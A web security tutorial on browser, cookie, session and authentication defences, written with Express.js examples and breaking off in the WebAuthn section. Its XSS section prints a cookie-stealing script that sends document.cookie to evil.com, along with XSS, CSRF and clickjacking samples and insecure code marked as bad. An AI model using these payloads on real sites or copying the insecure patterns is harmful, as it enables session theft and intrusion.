๐ Complete Web Security Guide
A comprehensive guide covering web security fundamentals, common vulnerabilities, and modern best practices for building secure web applications.
๐ Table of Contentsโ
1. Introduction to Web Securityโ
What is Web Security?โ
Web security encompasses all practices, technologies, and processes designed to protect web applications, their users, and data from unauthorized access, attacks, and exploitation. It's a continuous process of identifying vulnerabilities and implementing protective measures.
Key Components:
- Application Security: Protecting the code and logic
- Data Security: Protecting sensitive information
- Network Security: Protecting communication channels
- Infrastructure Security: Protecting servers and hosting environments
Why Web Security Mattersโ
Real-World Impact:
- Data Breaches: Average cost of $4.45M per breach (2023)
- Reputation Damage: Loss of customer trust
- Legal Consequences: GDPR fines up to โฌ20M or 4% of revenue
- Business Disruption: Downtime and lost revenue
Common Attack Vectors:
- 43% of cyberattacks target small businesses
- 95% of cybersecurity breaches are due to human error
- Web applications are involved in 26% of data breaches
Security Layersโ
Web security should be implemented across three layers:
-
Client Layer (Browser/Frontend)
- Input validation
- Secure cookie handling
- XSS prevention
- CSRF protection
-
Server Layer (Backend/APIs)
- Authentication & authorization
- SQL injection prevention
- Rate limiting
- Secure session management
-
Network Layer (Infrastructure)
- HTTPS/TLS encryption
- Firewall configuration
- DDoS protection
- DNS security
2. Core Security Principlesโ
CIA Triadโ
The foundation of information security:
1. Confidentiality
- Data is accessible only to authorized parties
- Encryption at rest and in transit
- Access control mechanisms
- Data classification
2. Integrity
- Data remains accurate and unaltered
- Hash functions for verification
- Digital signatures
- Audit trails
3. Availability
- Systems remain accessible to authorized users
- Redundancy and backups
- DDoS protection
- Disaster recovery plans
AAA Frameworkโ
Authentication - Who are you?
- Verifying identity
- Username/password, biometrics, tokens
- Multi-factor authentication
Authorization - What can you do?
- Determining access rights
- Role-based access control (RBAC)
- Attribute-based access control (ABAC)
Accounting/Auditing - What did you do?
- Tracking user activities
- Logging and monitoring
- Compliance and forensics
Defense in Depthโ
Multiple layers of security controls:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Perimeter Security (WAF) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Network Security (Firewall) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Application Security โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Data Security (Encryption) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Physical Security โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Principle of Least Privilegeโ
Grant minimum access necessary:
- Users get only required permissions
- Time-limited access tokens
- Separation of duties
- Regular permission audits
3. Browser & Frontend Securityโ
Same-Origin Policy (SOP)โ
What It Is: The cornerstone of web security. Prevents scripts from one origin from accessing data from another origin.
Origin Definition:
Origin = Protocol + Domain + Port
โ
Same Origin:
https://example.com:443/page1
https://example.com:443/page2
โ Different Origin:
https://example.com vs http://example.com (protocol)
https://example.com vs https://api.example.com (subdomain)
https://example.com:443 vs https://example.com:8080 (port)
What SOP Protects:
- DOM access
- Cookie access
- AJAX requests
- LocalStorage/SessionStorage
Best Practices: โ Use: Rely on SOP as foundational protection โ Use: CORS for controlled cross-origin access โ Avoid: Disabling SOP (never do this) โ Avoid: Using JSONP (outdated and insecure)
Cross-Origin Resource Sharing (CORS)โ
What It Is: Mechanism to relax Same-Origin Policy in a controlled manner.
How It Works:
# Browser sends preflight request
OPTIONS /api/data HTTP/1.1
Origin: https://frontend.com
Access-Control-Request-Method: POST
# Server responds
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.com
Access-Control-Allow-Methods: POST, GET
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
Configuration Examples:
Express.js:
const cors = require('cors');
// โ INSECURE - Never do this in production
app.use(cors({
origin: '*',
credentials: true
}));
// โ
SECURE - Whitelist specific origins
app.use(cors({
origin: ['https://app.example.com', 'https://admin.example.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 86400
}));
// โ
SECURE - Dynamic validation
app.use(cors({
origin: function (origin, callback) {
const allowedOrigins = process.env.ALLOWED_ORIGINS.split(',');
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));
Best Practices:
โ
Use: Specific origin whitelist
โ
Use: Credentials only with trusted origins
โ
Use: Appropriate methods and headers
โ Avoid: Access-Control-Allow-Origin: * with credentials
โ Avoid: Reflecting origin header without validation
โ Avoid: Overly permissive configurations
Common Mistakes:
// โ DANGEROUS - Reflects any origin with credentials
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');
next();
});
// โ
SAFE - Validates before reflecting
const allowedOrigins = ['https://app.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
}
next();
});
Cross-Site Scripting (XSS)โ
What It Is: Injecting malicious scripts into trusted websites that execute in victims' browsers.
Types of XSS:
1. Stored XSS (Most Dangerous)
// Attacker submits comment:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
// Stored in database, executed for all users viewing the comment
2. Reflected XSS
// URL: https://example.com/search?q=<script>alert(1)</script>
// Server reflects input:
<div>Search results for: <script>alert(1)</script></div>
3. DOM-Based XSS
// URL: https://example.com/#<img src=x onerror=alert(1)>
// Vulnerable JavaScript:
document.body.innerHTML = location.hash.slice(1);
Prevention Strategies:
1. Output Encoding:
// โ VULNERABLE
function displayName(name) {
document.getElementById('output').innerHTML = name;
}
// โ
SAFE - Use textContent
function displayName(name) {
document.getElementById('output').textContent = name;
}
// โ
SAFE - HTML encode
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
2. React (Automatic Escaping):
// โ
SAFE - Automatic escaping
function UserGreeting({ username }) {
return <div>Hello, {username}</div>;
}
// โ DANGEROUS - Bypasses escaping
function UnsafeComponent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// โ
SAFE - Sanitize first
import DOMPurify from 'dompurify';
function SafeComponent({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
3. Content Security Policy:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-2726c7f26c';
style-src 'self' 'unsafe-inline';
img-src 'self' https://cdn.example.com;
object-src 'none';
4. Input Validation:
// Server-side validation
const validateUsername = (username) => {
const regex = /^[a-zA-Z0-9_-]{3,20}$/;
if (!regex.test(username)) {
throw new Error('Invalid username format');
}
return username;
};
// Sanitization library
const sanitizeHtml = require('sanitize-html');
const clean = sanitizeHtml(dirtyHtml, {
allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
allowedAttributes: {
'a': ['href']
},
allowedSchemes: ['http', 'https', 'mailto']
});
Best Practices: โ Use: Framework's built-in escaping (React, Vue, Angular) โ Use: DOMPurify for HTML sanitization โ Use: Content Security Policy โ Use: HTTPOnly cookies for sensitive data โ Avoid: innerHTML with user input โ Avoid: eval() with untrusted data โ Avoid: document.write() โ Avoid: Disabling framework protections
Cross-Site Request Forgery (CSRF)โ
What It Is: Forcing authenticated users to perform unwanted actions.
Attack Example:
<!-- Attacker's malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- User is logged into bank.com, browser automatically sends cookies -->
Prevention Strategies:
1. CSRF Tokens (Synchronizer Token Pattern):
// Express middleware
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/submit', csrfProtection, (req, res) => {
// Token validated automatically
res.send('Success');
});
<!-- HTML form -->
<form method="POST" action="/submit">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<button type="submit">Submit</button>
</form>
2. SameSite Cookies:
// Set cookies with SameSite attribute
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict', // or 'lax'
maxAge: 3600000
});
SameSite Values:
Strict: Cookie sent only for same-site requestsLax: Cookie sent for top-level navigation (default in modern browsers)None: Cookie sent for all requests (requiresSecure)
3. Double Submit Cookie:
// Set CSRF token in cookie AND require it in request
app.use((req, res, next) => {
const token = generateToken();
res.cookie('csrf-token', token, { sameSite: 'strict' });
req.csrfToken = token;
next();
});
// Validate token
app.post('/api/*', (req, res, next) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
});
4. Custom Request Headers:
// Frontend - Add custom header
fetch('/api/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // CSRF mitigation
},
credentials: 'include',
body: JSON.stringify(data)
});
// Backend - Verify header presence
app.post('/api/*', (req, res, next) => {
if (!req.headers['x-requested-with']) {
return res.status(403).json({ error: 'Missing required header' });
}
next();
});
Best Practices: โ Use: SameSite=Lax or Strict for session cookies โ Use: CSRF tokens for state-changing operations โ Use: Custom headers for API requests โ Use: GET for read-only operations โ Avoid: GET requests for state changes โ Avoid: Relying solely on cookies for authentication โ Avoid: CORS misconfiguration that allows credential sharing
Clickjackingโ
What It Is: Tricking users into clicking on something different from what they perceive.
Attack Example:
<!-- Attacker's website -->
<iframe
src="https://bank.com/transfer"
style="opacity: 0; position: absolute; top: 0; left: 0;">
</iframe>
<button style="position: absolute; top: 100px; left: 100px;">
Click for free prize!
</button>
Prevention:
1. X-Frame-Options Header:
X-Frame-Options: DENY
# or
X-Frame-Options: SAMEORIGIN
// Express
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
next();
});
// Helmet.js
const helmet = require('helmet');
app.use(helmet.frameguard({ action: 'deny' }));
2. Content-Security-Policy:
Content-Security-Policy: frame-ancestors 'none';
# or
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;
3. JavaScript Frame-Busting (Legacy):
// Not recommended as primary defense
if (top !== self) {
top.location = self.location;
}
Best Practices: โ Use: CSP frame-ancestors (modern approach) โ Use: X-Frame-Options as fallback โ Use: Both headers for maximum compatibility โ Avoid: Relying only on JavaScript frame-busting โ Avoid: Allowing your site to be framed unnecessarily
Content Security Policy (CSP)โ
What It Is: HTTP header that controls resources the browser is allowed to load.
Basic CSP:
Content-Security-Policy: default-src 'self'
Comprehensive CSP Example:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.example.com;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
Directive Breakdown:
// Express implementation
app.use((req, res, next) => {
const nonce = generateNonce();
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s+/g, ' ').trim());
next();
});
Using Nonces:
<!-- Server-side template -->
<script nonce="{{nonce}}">
// This will execute
console.log('Allowed script');
</script>
<script>
// This will be blocked (no nonce)
console.log('Blocked script');
</script>
CSP Reporting:
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report;
// Collect CSP violations
app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP Violation:', req.body);
// Log to monitoring service
res.status(204).end();
});
Best Practices: โ Use: Start with Report-Only mode โ Use: Nonces for inline scripts โ Use: 'strict-dynamic' for modern browsers โ Use: upgrade-insecure-requests โ Avoid: 'unsafe-inline' and 'unsafe-eval' โ Avoid: Overly permissive policies โ Avoid: Wildcard sources (*)
Subresource Integrity (SRI)โ
What It Is: Ensures that files fetched from CDNs haven't been tampered with.
Implementation:
<!-- With SRI -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"
crossorigin="anonymous">
Generating SRI Hashes:
# Using openssl
curl -s https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A
# Using Node.js
const crypto = require('crypto');
const fs = require('fs');
const file = fs.readFileSync('library.js');
const hash = crypto.createHash('sha384').update(file).digest('base64');
console.log(`sha384-${hash}`);
Best Practices: โ Use: SRI for all third-party scripts and styles โ Use: SHA-384 or SHA-512 algorithms โ Use: crossorigin attribute with SRI โ Use: Multiple hashes for fallback โ Avoid: Using SRI without crossorigin โ Avoid: Weak hash algorithms (MD5, SHA-1)
4. Cookie Securityโ
Cookie Flags Explainedโ
Complete Cookie Example:
Set-Cookie: sessionId=abc123;
Secure;
HttpOnly;
SameSite=Strict;
Domain=example.com;
Path=/;
Max-Age=3600;
Expires=Wed, 21 Oct 2025 07:28:00 GMT
Flag Breakdown:
1. Secure
// โ
HTTPS only - prevents MITM attacks
res.cookie('token', value, { secure: true });
- Cookie sent only over HTTPS
- Prevents interception on unsecured connections
- Always use in production
2. HttpOnly
// โ
No JavaScript access - prevents XSS cookie theft
res.cookie('sessionId', value, { httpOnly: true });
- Cannot be accessed via
document.cookie - Protects against XSS attacks
- Use for authentication tokens
3. SameSite
// Strict - Maximum CSRF protection
res.cookie('auth', value, { sameSite: 'strict' });
// Lax - Balance of security and usability (default)
res.cookie('session', value, { sameSite: 'lax' });
// None - Required for cross-site cookies (needs Secure)
res.cookie('tracking', value, { sameSite: 'none', secure: true });
SameSite Comparison:
| SameSite Value | Cross-site GET | Cross-site POST | Use Case |
|---|---|---|---|
| Strict | โ | โ | Auth cookies |
| Lax (default) | โ (top-level) | โ | Session cookies |
| None | โ | โ | Third-party cookies |
4. Domain & Path
// Scope cookie to specific domain/subdomain
res.cookie('data', value, {
domain: '.example.com', // Available to all subdomains
path: '/api' // Only sent to /api routes
});
5. Max-Age & Expires
// Session cookie (deleted when browser closes)
res.cookie('session', value);
// Persistent cookie with Max-Age (in seconds)
res.cookie('remember', value, { maxAge: 30 * 24 * 60 * 60 * 1000 }); // 30 days
// Persistent cookie with Expires
const expiryDate = new Date(Date.now() + 60 * 60 * 1000); // 1 hour
res.cookie('temp', value, { expires: expiryDate });
Cookie Best Practicesโ
Authentication Cookie (Most Secure):
res.cookie('sessionId', sessionId, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict', // Strong CSRF protection
maxAge: 3600000, // 1 hour
signed: true // Cryptographic signature
});
Session Cookie Configuration:
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET,
name: 'sid', // Don't use default name
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 1000 * 60 * 60 * 24 // 24 hours
},
store: new RedisStore({ client: redisClient }) // Use persistent store
}));
Cookie Prefixes:
// __Secure- prefix: Must be set with Secure flag
res.cookie('__Secure-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict'
});
// __Host- prefix: More restrictive
res.cookie('__Host-sessionId', value, {
secure: true,
httpOnly: true,
sameSite: 'strict',
path: '/',
domain: undefined // Cannot set domain
});
Session Managementโ
Best Practices:
1. Secure Session Generation:
const crypto = require('crypto');
function generateSessionId() {
return crypto.randomBytes(32).toString('hex');
}
// Store in secure backend (Redis recommended)
async function createSession(userId) {
const sessionId = generateSessionId();
const sessionData = {
userId,
createdAt: Date.now(),
expiresAt: Date.now() + 3600000, // 1 hour
ipAddress: req.ip,
userAgent: req.headers['user-agent']
};
await redisClient.setex(
`session:${sessionId}`,
3600, // TTL in seconds
JSON.stringify(sessionData)
);
return sessionId;
}
2. Session Validation:
async function validateSession(sessionId) {
const sessionData = await redisClient.get(`session:${sessionId}`);
if (!sessionData) {
return null; // Session expired or invalid
}
const session = JSON.parse(sessionData);
// Check expiration
if (Date.now() > session.expiresAt) {
await redisClient.del(`session:${sessionId}`);
return null;
}
// Additional checks
if (session.ipAddress !== req.ip) {
// Log suspicious activity
logger.warn('IP mismatch for session', { sessionId, userId: session.userId });
// Optional: invalidate session
}
return session;
}
3. Session Rotation:
// Rotate session ID after privilege escalation
async function rotateSession(oldSessionId) {
const oldSession = await redisClient.get(`session:${oldSessionId}`);
if (!oldSession) return null;
const newSessionId = generateSessionId();
// Copy session data to new ID
await redisClient.setex(
`session:${newSessionId}`,
3600,
oldSession
);
// Delete old session
await redisClient.del(`session:${oldSessionId}`);
return newSessionId;
}
// Use after login, password change, privilege escalation
app.post('/login', async (req, res) => {
const user = await authenticateUser(req.body);
if (user) {
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});
res.json({ success: true });
}
});
4. Logout & Session Termination:
app.post('/logout', async (req, res) => {
const sessionId = req.cookies.sessionId;
if (sessionId) {
await redisClient.del(`session:${sessionId}`);
}
res.clearCookie('sessionId', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
res.json({ success: true });
});
// Logout all devices
app.post('/logout-all', async (req, res) => {
const userId = req.user.id;
// Find all sessions for user
const keys = await redisClient.keys(`session:*`);
for (const key of keys) {
const session = await redisClient.get(key);
if (JSON.parse(session).userId === userId) {
await redisClient.del(key);
}
}
res.json({ success: true });
});
Best Practices: โ Use: Server-side session storage (Redis, database) โ Use: Secure session ID generation (crypto.randomBytes) โ Use: Session expiration and rotation โ Use: IP and User-Agent validation โ Avoid: Client-side session storage โ Avoid: Predictable session IDs โ Avoid: Long-lived sessions without renewal โ Avoid: Session fixation vulnerabilities
5. Authentication & Authorizationโ
Authentication Methodsโ
Comparison Table:
| Method | Best For | Pros | Cons |
|---|---|---|---|
| Session + Cookie | Traditional web apps | Server control, easy revocation | Scalability, CSRF risk |
| JWT | APIs, SPAs | Stateless, portable | Cannot revoke easily, larger size |
| OAuth 2.0 | Third-party auth | Delegated auth, SSO | Complex, token management |
| WebAuthn | High security | Phishing-resistant, no passwords | Browser support, UX learning curve |
Password Securityโ
Storage Best Practices:
const bcrypt = require('bcrypt');
const argon2 = require('argon2');
// โ
SECURE - Bcrypt (industry standard)
async function hashPassword(password) {
const saltRounds = 12; // Higher = more secure but slower
return await bcrypt.hash(password, saltRounds);
}
async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}
// โ
EVEN BETTER - Argon2 (most modern)
async function hashPasswordArgon2(password) {
return await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 2 ** 16, // 64 MB
timeCost: 3,
parallelism: 1
});
}
async function verifyPasswordArgon2(password, hash) {
return await argon2.verify(hash, password);
}
// โ INSECURE - Never do this
function badHash(password) {
return crypto.createHash('md5').update(password).digest('hex');
}
Password Policy Implementation:
const passwordValidator = require('password-validator');
const schema = new passwordValidator();
schema
.is().min(12) // Minimum length 12
.is().max(128) // Maximum length 128
.has().uppercase() // Must have uppercase letters
.has().lowercase() // Must have lowercase letters
.has().digits(1) // Must have at least 1 digit
.has().symbols(1) // Must have at least 1 symbol
.has().not().spaces() // Should not have spaces
.is().not().oneOf(['Password123!', 'Admin123!']); // Blacklist common passwords
function validatePassword(password) {
const errors = schema.validate(password, { list: true });
if (errors.length > 0) {
throw new Error(`Password validation failed: ${errors.join(', ')}`);
}
return true;
}
// Check against leaked password database
const hibp = require('hibp');
async function checkPasswordBreach(password) {
const breachCount = await hibp.pwnedPassword(password);
if (breachCount > 0) {
throw new Error(`This password has been exposed in ${breachCount} data breaches`);
}
return true;
}
Account Security Measures:
// Rate limiting login attempts
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts
message: 'Too many login attempts, please try again later',
standardHeaders: true,
legacyHeaders: false,
skipSuccessfulRequests: true
});
app.post('/login', loginLimiter, async (req, res) => {
// Login logic
});
// Account lockout after failed attempts
async function handleFailedLogin(userId) {
const key = `failed_attempts:${userId}`;
const attempts = await redisClient.incr(key);
if (attempts === 1) {
await redisClient.expire(key, 900); // 15 minutes
}
if (attempts >= 5) {
await lockAccount(userId, 1800); // Lock for 30 minutes
await notifyUser(userId, 'Account locked due to failed login attempts');
}
return attempts;
}
async function lockAccount(userId, duration) {
await redisClient.setex(`account_locked:${userId}`, duration, '1');
}
async function isAccountLocked(userId) {
return await redisClient.exists(`account_locked:${userId}`);
}
JSON Web Tokens (JWT)โ
Structure:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Implementation:
const jwt = require('jsonwebtoken');
// Generate tokens
function generateTokens(user) {
const accessToken = jwt.sign(
{
userId: user.id,
email: user.email,
role: user.role
},
process.env.ACCESS_TOKEN_SECRET,
{
expiresIn: '15m',
issuer: 'api.example.com',
audience: 'example.com'
}
);
const refreshToken = jwt.sign(
{
userId: user.id,
tokenVersion: user.tokenVersion // For token revocation
},
process.env.REFRESH_TOKEN_SECRET,
{
expiresIn: '7d',
issuer: 'api.example.com',
audience: 'example.com'
}
);
return { accessToken, refreshToken };
}
// Verify JWT middleware
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const decoded = jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, {
issuer: 'api.example.com',
audience: 'example.com'
});
req.user = decoded;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired' });
}
return res.status(403).json({ error: 'Invalid token' });
}
}
// Refresh token endpoint
app.post('/refresh', async (req, res) => {
const { refreshToken } = req.body;
if (!refreshToken) {
return res.status(401).json({ error: 'Refresh token required' });
}
try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET);
// Check if user exists and token version matches
const user = await getUserById(decoded.userId);
if (!user || user.tokenVersion !== decoded.tokenVersion) {
return res.status(403).json({ error: 'Invalid refresh token' });
}
// Generate new access token
const accessToken = jwt.sign(
{ userId: user.id, email: user.email, role: user.role },
process.env.ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken });
} catch (err) {
return res.status(403).json({ error: 'Invalid refresh token' });
}
});
// Token revocation (by incrementing tokenVersion)
async function revokeAllTokens(userId) {
await db.query(
'UPDATE users SET token_version = token_version + 1 WHERE id = ?',
[userId]
);
}
JWT Storage Options:
1. HttpOnly Cookie (Most Secure for Web):
// Set JWT in HttpOnly cookie
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000 // 15 minutes
});
// Frontend automatically sends cookie
fetch('/api/protected', {
credentials: 'include'
});
2. Authorization Header (Standard for APIs):
// Frontend stores in memory (React example)
const [token, setToken] = useState(null);
// Send with requests
fetch('/api/protected', {
headers: {
'Authorization': `Bearer ${token}`
}
});
JWT Security Best Practices: โ Use: Short-lived access tokens (15 minutes) โ Use: Refresh token rotation โ Use: Strong secret keys (256-bit minimum) โ Use: Algorithm verification (RS256 for production) โ Use: Token version for revocation โ Avoid: Storing sensitive data in payload โ Avoid: Long-lived tokens without refresh โ Avoid: localStorage for tokens (XSS risk) โ Avoid: Using 'none' algorithm
Common JWT Mistakes:
// โ DANGEROUS - No signature verification
const decoded = jwt.decode(token); // Never use decode without verify!
// โ DANGEROUS - Algorithm confusion attack
jwt.verify(token, publicKey); // Specify algorithm explicitly
// โ
SAFE
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// โ DANGEROUS - Storing sensitive data
const token = jwt.sign({
userId: 123,
password: 'secret123' // Never store passwords in JWT!
}, secret);
// โ
SAFE - Only non-sensitive identifiers
const token = jwt.sign({
userId: 123,
role: 'user'
}, secret);
OAuth 2.0 & OpenID Connectโ
OAuth 2.0 Flow (Authorization Code):
1. User clicks "Login with Google"
2. Redirect to: https://accounts.google.com/o/oauth2/auth?
- client_id=YOUR_CLIENT_ID
- redirect_uri=https://yourapp.com/callback
- response_type=code
- scope=openid email profile
- state=random_string (CSRF protection)
3. User authorizes
4. Redirect back with code: https://yourapp.com/callback?code=AUTH_CODE&state=random_string
5. Exchange code for tokens
6. Use access token to fetch user data
Implementation with Passport.js:
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: '/auth/google/callback',
scope: ['profile', 'email']
},
async (accessToken, refreshToken, profile, done) => {
try {
// Find or create user
let user = await User.findOne({ googleId: profile.id });
if (!user) {
user = await User.create({
googleId: profile.id,
email: profile.emails[0].value,
name: profile.displayName,
avatar: profile.photos[0].value
});
}
return done(null, user);
} catch (err) {
return done(err, null);
}
}
));
// Routes
app.get('/auth/google',
passport.authenticate('google', { scope: ['profile', 'email'] })
);
app.get('/auth/google/callback',
passport.authenticate('google', { failureRedirect: '/login' }),
(req, res) => {
// Successful authentication
const sessionId = createSession(req.user.id);
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
res.redirect('/dashboard');
}
);
PKCE (Proof Key for Code Exchange) for SPAs:
// Generate code verifier and challenge
const crypto = require('crypto');
function generateCodeVerifier() {
return crypto.randomBytes(32).toString('base64url');
}
function generateCodeChallenge(verifier) {
return crypto
.createHash('sha256')
.update(verifier)
.digest('base64url');
}
// Step 1: Initiate OAuth flow
const codeVerifier = generateCodeVerifier();
const codeChallenge = generateCodeChallenge(codeVerifier);
// Store verifier in session/localStorage
sessionStorage.setItem('code_verifier', codeVerifier);
// Redirect to authorization server
const authUrl = `https://auth.example.com/authorize?` +
`client_id=${CLIENT_ID}` +
`&redirect_uri=${REDIRECT_URI}` +
`&response_type=code` +
`&code_challenge=${codeChallenge}` +
`&code_challenge_method=S256` +
`&scope=openid profile email`;
window.location.href = authUrl;
// Step 2: Exchange code for token
async function exchangeCodeForToken(code) {
const codeVerifier = sessionStorage.getItem('code_verifier');
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI,
client_id: CLIENT_ID,
code_verifier: codeVerifier
})
});
const tokens = await response.json();
return tokens;
}
Multi-Factor Authentication (MFA)โ
TOTP (Time-based One-Time Password) Implementation:
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');
// Generate secret for user
async function setupMFA(userId, email) {
const secret = speakeasy.generateSecret({
name: `YourApp (${email})`,
issuer: 'YourApp'
});
// Save secret to database (encrypted)
await saveUserMFASecret(userId, secret.base32);
// Generate QR code
const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
return {
secret: secret.base32,
qrCode: qrCodeUrl
};
}
// Verify TOTP token
function verifyMFAToken(secret, token) {
return speakeasy.totp.verify({
secret: secret,
encoding: 'base32',
token: token,
window: 2 // Allow 2 time steps before/after
});
}
// MFA login flow
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await authenticateUser(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Check if MFA is enabled
if (user.mfaEnabled) {
// Create temporary token for MFA verification
const tempToken = jwt.sign(
{ userId: user.id, step: 'mfa_required' },
process.env.TEMP_TOKEN_SECRET,
{ expiresIn: '5m' }
);
return res.json({
requiresMFA: true,
tempToken: tempToken
});
}
// No MFA, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
});
app.post('/verify-mfa', async (req, res) => {
const { tempToken, mfaToken } = req.body;
try {
const decoded = jwt.verify(tempToken, process.env.TEMP_TOKEN_SECRET);
if (decoded.step !== 'mfa_required') {
return res.status(403).json({ error: 'Invalid token' });
}
const user = await getUserById(decoded.userId);
const isValid = verifyMFAToken(user.mfaSecret, mfaToken);
if (!isValid) {
return res.status(401).json({ error: 'Invalid MFA token' });
}
// MFA verified, complete login
const sessionId = await createSession(user.id);
res.cookie('sessionId', sessionId, cookieOptions);
res.json({ success: true });
} catch (err) {
return res.status(403).json({ error: 'Invalid token' });
}
});
// Backup codes
function generateBackupCodes(count = 10) {
const codes = [];
for (let i = 0; i < count; i++) {
codes.push(crypto.randomBytes(4).toString('hex').toUpperCase());
}
return codes;
}
async function saveBackupCodes(userId, codes) {
const hashedCodes = await Promise.all(
codes.map(code => bcrypt.hash(code, 10))
);
await db.query(
'INSERT INTO mfa_backup_codes (user_id, code_hash) VALUES ?',
[hashedCodes.map(hash => [userId, hash])]
);
}
WebAuthn & Passkeysโ
Registration (Creating Passkey):
// Server-side: Generate challenge
const { generateRegistrationOptions, verifyRegistrationResponse } = require('@simplewebauthn/server');
app.post('/webauthn/register/start', async (req, res) => {
const user = req.user;
const options = generateRegistrationOptions({
rpName: 'YourApp',
